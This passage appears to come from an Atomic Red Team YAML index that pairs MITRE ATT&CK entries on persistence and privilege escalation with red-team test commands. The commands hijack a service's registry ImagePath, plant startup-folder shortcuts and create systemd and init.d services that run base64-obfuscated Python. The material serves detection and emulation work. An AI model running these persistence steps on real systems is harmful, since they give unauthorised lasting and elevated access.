        Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.

        Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.
      name: Services File Permissions Weakness
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1574.010
        url: https://attack.mitre.org/techniques/T1574/010
      - external_id: CAPEC-17
        source_name: capec
        url: https://capec.mitre.org/data/definitions/17.html
      x_mitre_platforms:
      - Windows
      x_mitre_detection: "Look for changes to binaries and service executables that
        may normally occur during software updates. If an executable is written, renamed,
        and/or moved to match an existing service executable, it could be detected
        and correlated with other suspicious behavior. Hashing of binaries and service
        executables could be used to detect replacement against historical data.\n\nLook
        for abnormal process call trees from typical processes and services and for
        execution of other commands that could relate to Discovery or other adversary
        techniques. "
      x_mitre_permissions_required:
      - Administrator
      - User
      x_mitre_effective_permissions:
      - SYSTEM
      - Administrator
      - User
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Process: Process Creation'
      - 'Service: Service Metadata'
      x_mitre_contributors:
      - Travis Smith, Tripwire
      - Stefan Kanthak
    atomic_tests: []
  T1574.011:
    technique:
      created: '2020-03-13T11:42:14.444Z'
      modified: '2020-09-16T19:07:48.590Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      type: attack-pattern
      id: attack-pattern--17cc750b-e95b-4d7d-9dde-49e0de24148c
      description: "Adversaries may execute their own malicious payloads by hijacking
        the Registry entries used by services. Adversaries may use flaws in the permissions
        for registry to redirect from the originally specified executable to one that
        they control, in order to launch their own code at Service start.  Windows
        stores local service configuration information in the Registry under <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>.
        The information stored under a service's Registry keys can be manipulated
        to modify a service's execution parameters through tools such as the service
        controller, sc.exe,  [PowerShell](https://attack.mitre.org/techniques/T1059/001),
        or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys
        is controlled through Access Control Lists and permissions. (Citation: Registry
        Key Security)\n\nIf the permissions for users and groups are not properly
        set and allow access to the Registry keys for a service, then adversaries
        can change the service binPath/ImagePath to point to a different executable
        under their control. When the service starts or is restarted, then the adversary-controlled
        program will execute, allowing the adversary to gain persistence and/or privilege
        escalation to the account context the service is set to execute under (local/domain
        account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also
        alter Registry keys associated with service failure parameters (such as <code>FailureCommand</code>)
        that may be executed in an elevated context anytime the service fails or is
        intentionally corrupted.(Citation: Kansa Service related collectors)(Citation:
        Tweet Registry Perms Weakness) "
      name: Services Registry Permissions Weakness
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1574.011
        url: https://attack.mitre.org/techniques/T1574/011
      - external_id: CAPEC-478
        source_name: capec
        url: https://capec.mitre.org/data/definitions/478.html
      - source_name: Registry Key Security
        url: https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-key-security-and-access-rights?redirectedfrom=MSDN
        description: Microsoft. (2018, May 31). Registry Key Security and Access Rights.
          Retrieved March 16, 2017.
      - source_name: Kansa Service related collectors
        url: https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html
        description: 'Hull, D.. (2014, May 3). Kansa: Service related collectors and
          analysis. Retrieved October 10, 2019.'
      - source_name: Tweet Registry Perms Weakness
        url: https://twitter.com/r0wdy_/status/936365549553991680
        description: "@r0wdy_. (2017, November 30). Service Recovery Parameters. Retrieved
          April 9, 2018."
      - source_name: Autoruns for Windows
        url: https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns
        description: Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96.
          Retrieved March 13, 2020.
      x_mitre_platforms:
      - Windows
      x_mitre_contributors:
      - Travis Smith, Tripwire
      - Matthew Demaske, Adaptforward
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Process: Process Creation'
      - 'Service: Service Metadata'
      - 'Command: Command Execution'
      x_mitre_detection: |-
        Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.

        Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.

        Monitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.
      x_mitre_permissions_required:
      - Administrator
      - User
      x_mitre_effective_permissions:
      - SYSTEM
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_defense_bypassed:
      - Application control
      identifier: T1574.011
    atomic_tests:
    - name: Service Registry Permissions Weakness
      auto_generated_guid: f7536d63-7fd4-466f-89da-7e48d550752a
      description: |
        Service registry permissions weakness check and then which can lead to privilege escalation with ImagePath. eg.
        reg add "HKLM\SYSTEM\CurrentControlSet\Services\#{weak_service_name}" /v ImagePath /d "C:\temp\AtomicRedteam.exe"
      supported_platforms:
      - windows
      input_arguments:
        weak_service_name:
          description: weak service check
          type: String
          default: weakservicename
      executor:
        command: |
          get-acl REGISTRY::HKLM\SYSTEM\CurrentControlSet\Services\* |FL
          get-acl REGISTRY::HKLM\SYSTEM\CurrentControlSet\Services\#{weak_service_name} |FL
        name: powershell
    - name: Service ImagePath Change with reg.exe
      auto_generated_guid: f38e9eea-e1d7-4ba6-b716-584791963827
      description: 'Change Service registry ImagePath of a bengin service to a malicious
        file

'
      supported_platforms:
      - windows
      input_arguments:
        weak_service_name:
          description: weak service name
          type: String
          default: calcservice
        weak_service_path:
          description: weak service path
          type: String
          default: "%windir%\\system32\\win32calc.exe"
        malicious_service_path:
          description: malicious service path
          type: String
          default: "%windir%\\system32\\cmd.exe"
      dependency_executor_name: powershell
      dependencies:
      - description: 'The service must exist (#{weak_service_name})

'
        prereq_command: 'if (Get-Service #{weak_service_name}) {exit 0} else {exit
          1}

'
        get_prereq_command: 'sc.exe create #{weak_service_name} binpath= "#{weak_service_path}"

'
      executor:
        command: 'reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\#{weak_service_name}"
          /f /v ImagePath /d "#{malicious_service_path}"

'
        cleanup_command: 'sc.exe delete #{weak_service_name}

'
        name: command_prompt
  T1547.009:
    technique:
      id: attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179
      description: |-
        Adversaries may create or edit shortcuts to run a program during system boot or user login. Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process.

        Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.
      name: Shortcut Modification
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1547.009
        url: https://attack.mitre.org/techniques/T1547/009
      - external_id: CAPEC-132
        source_name: capec
        url: https://capec.mitre.org/data/definitions/132.html
      - source_name: BSidesSLC 2020 - LNK Elastic
        url: https://www.youtube.com/watch?v=nJ0UsyiUEqQ
        description: French, D., Filar, B.. (2020, March 21). A Chain Is No Stronger
          Than Its Weakest LNK. Retrieved November 30, 2020.
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2021-04-13T21:30:24.555Z'
      created: '2020-01-24T19:00:32.917Z'
      x_mitre_platforms:
      - Windows
      x_mitre_contributors:
      - David French, Elastic
      - Bobby, Filar, Elastic
      - Travis Smith, Tripwire
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Process: Process Creation'
      x_mitre_detection: |-
        Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections.

        Monitor for LNK files created with a Zone Identifier value greater than 1, which may indicate that the LNK file originated from outside of the network.(Citation: BSidesSLC 2020 - LNK Elastic)
      x_mitre_permissions_required:
      - Administrator
      - User
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      identifier: T1547.009
    atomic_tests:
    - name: Shortcut Modification
      auto_generated_guid: ce4fc678-364f-4282-af16-2fb4c78005ce
      description: |
        This test to simulate shortcut modification and then execute. example shortcut (*.lnk , .url) strings check with powershell;
        gci -path "C:\Users" -recurse -include *.url -ea SilentlyContinue | Select-String -Pattern "exe" | FL.
        Upon execution, calc.exe will be launched.
      supported_platforms:
      - windows
      input_arguments:
        shortcut_file_path:
          description: shortcut modified and execute
          type: Path
          default: "%temp%\\T1547.009_modified_shortcut.url"
      executor:
        command: |
          echo [InternetShortcut] > #{shortcut_file_path}
          echo URL=C:\windows\system32\calc.exe >> #{shortcut_file_path}
          #{shortcut_file_path}
        cleanup_command: 'del -f #{shortcut_file_path} >nul 2>&1

'
        name: command_prompt
    - name: Create shortcut to cmd in startup folders
      auto_generated_guid: cfdc954d-4bb0-4027-875b-a1893ce406f2
      description: |
        LNK file to launch CMD placed in startup folder. Upon execution, open File Explorer and browse to "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\"
        to view the new shortcut.
      supported_platforms:
      - windows
      executor:
        command: |
          $Shell = New-Object -ComObject ("WScript.Shell")
          $ShortCut = $Shell.CreateShortcut("$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\T1547.009.lnk")
          $ShortCut.TargetPath="cmd.exe"
          $ShortCut.WorkingDirectory = "C:\Windows\System32";
          $ShortCut.WindowStyle = 1;
          $ShortCut.Description = "T1547.009.";
          $ShortCut.Save()

          $Shell = New-Object -ComObject ("WScript.Shell")
          $ShortCut = $Shell.CreateShortcut("$env:ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\T1547.009.lnk")
          $ShortCut.TargetPath="cmd.exe"
          $ShortCut.WorkingDirectory = "C:\Windows\System32";
          $ShortCut.WindowStyle = 1;
          $ShortCut.Description = "T1547.009.";
          $ShortCut.Save()
        cleanup_command: |
          Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\T1547.009.lnk" -ErrorAction Ignore
          Remove-Item "$env:ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\T1547.009.lnk" -ErrorAction Ignore
        name: powershell
        elevation_required: true
  T1037.005:
    technique:
      id: attack-pattern--c0dfe7b0-b873-4618-9ff8-53e31f70907f
      description: "Adversaries may use startup items automatically executed at boot
        initialization to establish persistence. Startup items execute during the
        final phase of the boot process and contain shell scripts or other executable
        files along with configuration information used by the system to determine
        the execution order for all startup items. (Citation: Startup Items)\n\nThis
        is technically a deprecated technology (superseded by [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)),
        and thus the appropriate folder, <code>/Library/StartupItems</code> isn’t
        guaranteed to exist on the system by default, but does appear to exist by
        default on macOS Sierra. A startup item is a directory whose executable and
        configuration property list (plist), <code>StartupParameters.plist</code>,
        reside in the top-level directory. \n\nAn adversary can create the appropriate
        folders/files in the StartupItems directory to register their own persistence
        mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since
        StartupItems run during the bootup phase of macOS, they will run as the elevated
        root user."
      name: Startup Items
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1037.005
        url: https://attack.mitre.org/techniques/T1037/005
      - url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html
        description: Apple. (2016, September 13). Startup Items. Retrieved July 11,
          2017.
        source_name: Startup Items
      - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
        description: Patrick Wardle. (2014, September). Methods of Malware Persistence
          on Mac OS X. Retrieved July 5, 2017.
        source_name: Methods of Mac Malware Persistence
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-03-24T23:47:39.124Z'
      created: '2020-01-15T18:00:33.603Z'
      x_mitre_platforms:
      - macOS
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_detection: |-
        The <code>/Library/StartupItems</code> folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist.

        Monitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior.
      x_mitre_permissions_required:
      - Administrator
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      identifier: T1037.005
    atomic_tests:
    - name: Add file to Local Library StartupItems
      auto_generated_guid: 134627c3-75db-410e-bff8-7a920075f198
      description: |
        Modify or create an file in /Library/StartupItems

        [Reference](https://www.alienvault.com/blogs/labs-research/diversity-in-recent-mac-malware)
      supported_platforms:
      - macos
      executor:
        command: 'sudo touch /Library/StartupItems/EvilStartup.plist

'
        cleanup_command: 'sudo rm /Library/StartupItems/EvilStartup.plist

'
        name: sh
        elevation_required: true
  T1542.001:
    technique:
      id: attack-pattern--16ab6452-c3c1-497c-a47d-206018ca1ada
      description: |-
        Adversaries may modify system firmware to persist on systems.The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)

        System firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.
      name: System Firmware
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1542.001
        url: https://attack.mitre.org/techniques/T1542/001
      - external_id: CAPEC-532
        source_name: capec
        url: https://capec.mitre.org/data/definitions/532.html
      - url: https://en.wikipedia.org/wiki/BIOS
        description: Wikipedia. (n.d.). BIOS. Retrieved January 5, 2016.
        source_name: Wikipedia BIOS
      - url: https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface
        description: Wikipedia. (2017, July 10). Unified Extensible Firmware Interface.
          Retrieved July 11, 2017.
        source_name: Wikipedia UEFI
      - url: http://www.uefi.org/about
        description: UEFI Forum. (n.d.). About UEFI Forum. Retrieved January 5, 2016.
        source_name: About UEFI
      - url: http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research
        description: Upham, K. (2014, March). Going Deep into the BIOS with MITRE
          Firmware Security Research. Retrieved January 5, 2016.
        source_name: MITRE Trustworthy Firmware Measurement
      - url: http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about
        description: 'Butterworth, J. (2013, July 30). Copernicus: Question Your Assumptions
          about BIOS Security. Retrieved December 11, 2015.'
        source_name: MITRE Copernicus
      - url: https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/
        description: Beek, C., Samani, R. (2017, March 8). CHIPSEC Support Against
          Vault 7 Disclosure Scanning. Retrieved March 13, 2017.
        source_name: McAfee CHIPSEC Blog
      - url: https://github.com/chipsec/chipsec
        description: Intel. (2017, March 18). CHIPSEC Platform Security Assessment
          Framework. Retrieved March 20, 2017.
        source_name: Github CHIPSEC
      - url: http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html
        description: Intel Security. (2005, July 16). HackingTeam's UEFI Rootkit Details.
          Retrieved March 20, 2017.
        source_name: Intel HackingTeam UEFI Rootkit
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-05-19T21:22:37.865Z'
      created: '2019-12-19T19:43:34.507Z'
      x_mitre_platforms:
      - Windows
      x_mitre_contributors:
      - Jean-Ian Boutin, ESET
      - McAfee
      - Ryan Becwar
      x_mitre_data_sources:
      - 'Firmware: Firmware Modification'
      x_mitre_detection: |-
        System firmware manipulation may be detected. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior.

        Likewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_defense_bypassed:
      - Host intrusion prevention systems
      - Anti-virus
      - File monitoring
    atomic_tests: []
  T1543.002:
    technique:
      id: attack-pattern--dfefe2ed-4389-4318-8762-f0272b350a1b
      description: "Adversaries may create or modify systemd services to repeatedly
        execute malicious payloads as part of persistence. The systemd service manager
        is commonly used for managing background daemon processes (also known as services)
        and other system resources.(Citation: Linux man-pages: systemd January 2014)(Citation:
        Freedesktop.org Linux systemd 29SEP2018) Systemd is the default initialization
        (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04,
        CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit
        and Upstart while remaining backwards compatible with the aforementioned init
        systems.\n\nSystemd utilizes configuration files known as service units to
        control how services boot and under what conditions. By default, these unit
        files are stored in the <code>/etc/systemd/system</code> and <code>/usr/lib/systemd/system</code>
        directories and have the file extension <code>.service</code>. Each service
        unit file may contain numerous directives that can execute system commands:\n\n*
        ExecStart, ExecStartPre, and ExecStartPost directives cover execution of commands
        when a services is started manually by 'systemctl' or on system start if the
        service is set to automatically start. \n* ExecReload directive covers when
        a service restarts. \n* ExecStop and ExecStopPost directives cover when a
        service is stopped or manually by 'systemctl'.\n\nAdversaries have used systemd
        functionality to establish persistent access to victim systems by creating
        and/or modifying service unit files that cause systemd to execute malicious
        commands at system boot.(Citation: Anomali Rocke March 2019)\n\nWhile adversaries
        typically require root privileges to create/modify service unit files in the
        <code>/etc/systemd/system</code> and <code>/usr/lib/systemd/system</code>
        directories, low privilege users can create/modify service unit files in directories
        such as <code>~/.config/systemd/user/</code> to achieve user-level persistence.(Citation:
        Rapid7 Service Persistence 22JUNE2016)"
      name: Systemd Service
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1543.002
        url: https://attack.mitre.org/techniques/T1543/002
      - external_id: CAPEC-550
        source_name: capec
        url: https://capec.mitre.org/data/definitions/550.html
      - external_id: CAPEC-551
        source_name: capec
        url: https://capec.mitre.org/data/definitions/551.html
      - source_name: 'Linux man-pages: systemd January 2014'
        url: http://man7.org/linux/man-pages/man1/systemd.1.html
        description: Linux man-pages. (2014, January). systemd(1) - Linux manual page.
          Retrieved April 23, 2019.
      - source_name: Freedesktop.org Linux systemd 29SEP2018
        url: https://www.freedesktop.org/wiki/Software/systemd/
        description: Freedesktop.org. (2018, September 29). systemd System and Service
          Manager. Retrieved April 23, 2019.
      - source_name: Anomali Rocke March 2019
        url: https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang
        description: Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With
          a New Malware Family Written in Golang. Retrieved April 24, 2019.
      - source_name: Rapid7 Service Persistence 22JUNE2016
        url: https://www.rapid7.com/db/modules/exploit/linux/local/service_persistence
        description: Rapid7. (2016, June 22). Service Persistence. Retrieved April
          23, 2019.
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-10-09T13:46:29.701Z'
      created: '2020-01-17T16:15:19.870Z'
      x_mitre_platforms:
      - Linux
      x_mitre_detection: |-
        Systemd service unit files may be detected by auditing file creation and modification events within the <code>/etc/systemd/system</code>, <code>/usr/lib/systemd/system/</code>, and <code>/home/<username>/.config/systemd/user/</code> directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of ‘systemd’, a parent process ID of 1, and will usually execute as the ‘root’ user.

        Suspicious systemd services can also be identified by comparing results against a trusted system baseline. Malicious systemd services may be detected by using the systemctl utility to examine system wide services: <code>systemctl list-units -–type=service –all</code>. Analyze the contents of <code>.service</code> files present on the file system and ensure that they refer to legitimate, expected executables.

        Auditing the execution and command-line arguments of the 'systemctl' utility, as well related utilities such as <code>/usr/sbin/service</code> may reveal malicious systemd service execution.
      x_mitre_permissions_required:
      - User
      - root
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Service: Service Creation'
      - 'Service: Service Modification'
      x_mitre_contributors:
      - Tony Lambert, Red Canary
      identifier: T1543.002
    atomic_tests:
    - name: Create Systemd Service
      auto_generated_guid: d9e4f24f-aa67-4c6e-bcbf-85622b697a7c
      description: 'This test creates a Systemd service unit file and enables it as
        a service.

'
      supported_platforms:
      - linux
      input_arguments:
        systemd_service_path:
          description: Path to systemd service unit file
          type: Path
          default: "/etc/systemd/system"
        systemd_service_file:
          description: File name of systemd service unit file
          type: String
          default: art-systemd-service.service
        execstoppost_action:
          description: ExecStopPost action for Systemd service
          type: String
          default: "/bin/touch /tmp/art-systemd-execstoppost-marker"
        execreload_action:
          description: ExecReload action for Systemd service
          type: String
          default: "/bin/touch /tmp/art-systemd-execreload-marker"
        execstart_action:
          description: ExecStart action for Systemd service
          type: String
          default: "/bin/touch /tmp/art-systemd-execstart-marker"
        execstop_action:
          description: ExecStop action for Systemd service
          type: String
          default: "/bin/touch /tmp/art-systemd-execstop-marker"
        execstartpre_action:
          description: ExecStartPre action for Systemd service
          type: String
          default: "/bin/touch /tmp/art-systemd-execstartpre-marker"
        execstartpost_action:
          description: ExecStartPost action for Systemd service
          type: String
          default: "/bin/touch /tmp/art-systemd-execstartpost-marker"
      executor:
        command: |
          echo "[Unit]" > #{systemd_service_path}/#{systemd_service_file}
          echo "Description=Atomic Red Team Systemd Service" >> #{systemd_service_path}/#{systemd_service_file}
          echo "" >> #{systemd_service_path}/#{systemd_service_file}
          echo "[Service]" >> #{systemd_service_path}/#{systemd_service_file}
          echo "Type=simple"
          echo "ExecStart=#{execstart_action}" >> #{systemd_service_path}/#{systemd_service_file}
          echo "ExecStartPre=#{execstartpre_action}" >> #{systemd_service_path}/#{systemd_service_file}
          echo "ExecStartPost=#{execstartpost_action}" >> #{systemd_service_path}/#{systemd_service_file}
          echo "ExecReload=#{execreload_action}" >> #{systemd_service_path}/#{systemd_service_file}
          echo "ExecStop=#{execstop_action}" >> #{systemd_service_path}/#{systemd_service_file}
          echo "ExecStopPost=#{execstoppost_action}" >> #{systemd_service_path}/#{systemd_service_file}
          echo "" >> #{systemd_service_path}/#{systemd_service_file}
          echo "[Install]" >> #{systemd_service_path}/#{systemd_service_file}
          echo "WantedBy=default.target" >> #{systemd_service_path}/#{systemd_service_file}
          systemctl daemon-reload
          systemctl enable #{systemd_service_file}
          systemctl start #{systemd_service_file}
        cleanup_command: |
          systemctl stop #{systemd_service_file}
          systemctl disable #{systemd_service_file}
          rm -rf #{systemd_service_path}/#{systemd_service_file}
          systemctl daemon-reload
        name: bash
    - name: Create Systemd Service file,  Enable the service , Modify and Reload the
        service.
      auto_generated_guid: c35ac4a8-19de-43af-b9f8-755da7e89c89
      description: "This test creates a systemd service unit file and enables it to
        autostart on boot. Once service is created and enabled, it also modifies this
        same service file showcasing both Creation and Modification of system process.
        \n"
      supported_platforms:
      - linux
      dependencies:
      - description: 'System must be Ubuntu ,Kali OR CentOS.

'
        prereq_command: 'if [ $(cat /etc/os-release | grep -i ID=ubuntu) ] || [ $(cat
          /etc/os-release | grep -i ID=kali) ] || [ $(cat /etc/os-release | grep -i
          ''ID="centos"'') ]; then exit /b 0; else exit /b 1; fi;

'
        get_prereq_command: 'echo Please run from Ubuntu ,Kali OR CentOS.

'
      executor:
        name: bash
        elevation_required: true
        command: "cat > /etc/init.d/T1543.002 << EOF\n#!/bin/bash\n### BEGIN INIT
          INFO\n# Provides : Atomic Test T1543.002\n# Required-Start: $all\n# Required-Stop
          : \n# Default-Start: 2 3 4 5\n# Default-Stop: \n# Short Description: Atomic
          Test for Systemd Service Creation\n### END INIT INFO\npython3 -c \"import
          os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBDcmVhdGluZyBTeXN0ZW1kIFNlcnZpY2UgVDE1NDMuMDAyID4gL3RtcC9UMTU0My4wMDIuc3lzdGVtZC5zZXJ2aWNlLmNyZWF0aW9uJykK'))\"\nEOF\n\nchmod
          +x /etc/init.d/T1543.002\nif [ $(cat /etc/os-release | grep -i ID=ubuntu)
          ] || [ $(cat /etc/os-release | grep -i ID=kali) ]; then update-rc.d T1543.002
          defaults; elif [ $(cat /etc/os-release | grep -i 'ID=\"centos\"') ]; then
          chkconfig T1543.002 on ; else echo \"Please run this test on Ubnutu , kali
          OR centos\" ; fi ;\nsystemctl enable T1543.002\nsystemctl start T1543.002\n\necho
          \"python3 -c \\\"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgYSBTeXN0ZW1kIFNlcnZpY2UgVDE1NDMuMDAyID4gL3RtcC9UMTU0My4wMDIuc3lzdGVtZC5zZXJ2aWNlLm1vZGlmaWNhdGlvbicpCg=='))\\\"\"
          | sudo tee -a /etc/init.d/T1543.002\nsystemctl daemon-reload\nsystemctl
          restart T1543.002\n"
        cleanup_command: |
          systemctl stop T1543.002
          systemctl disable T1543.002
          rm -rf /etc/init.d/T1543.002
          systemctl daemon-reload
  T1053.006:
    technique:
      id: attack-pattern--a542bac9-7bc1-4da7-9a09-96f69e23cc21
      description: |-
        Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension <code>.timer</code> that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020)

        Each <code>.timer</code> file must have a corresponding <code>.service</code> file with the same name, e.g., <code>example.timer</code> and <code>example.service</code>. <code>.service</code> files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to <code>/etc/systemd/system/</code> and <code>/usr/lib/systemd/system</code> while user level are written to <code>~/.config/systemd/user/</code>.

        An adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.
      name: Systemd Timers
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1053.006
        url: https://attack.mitre.org/techniques/T1053/006
      - source_name: archlinux Systemd Timers Aug 2020
        url: https://wiki.archlinux.org/index.php/Systemd/Timers
        description: archlinux. (2020, August 11). systemd/Timers. Retrieved October
          12, 2020.
      - source_name: 'Linux man-pages: systemd January 2014'
        url: http://man7.org/linux/man-pages/man1/systemd.1.html
        description: Linux man-pages. (2014, January). systemd(1) - Linux manual page.
          Retrieved April 23, 2019.
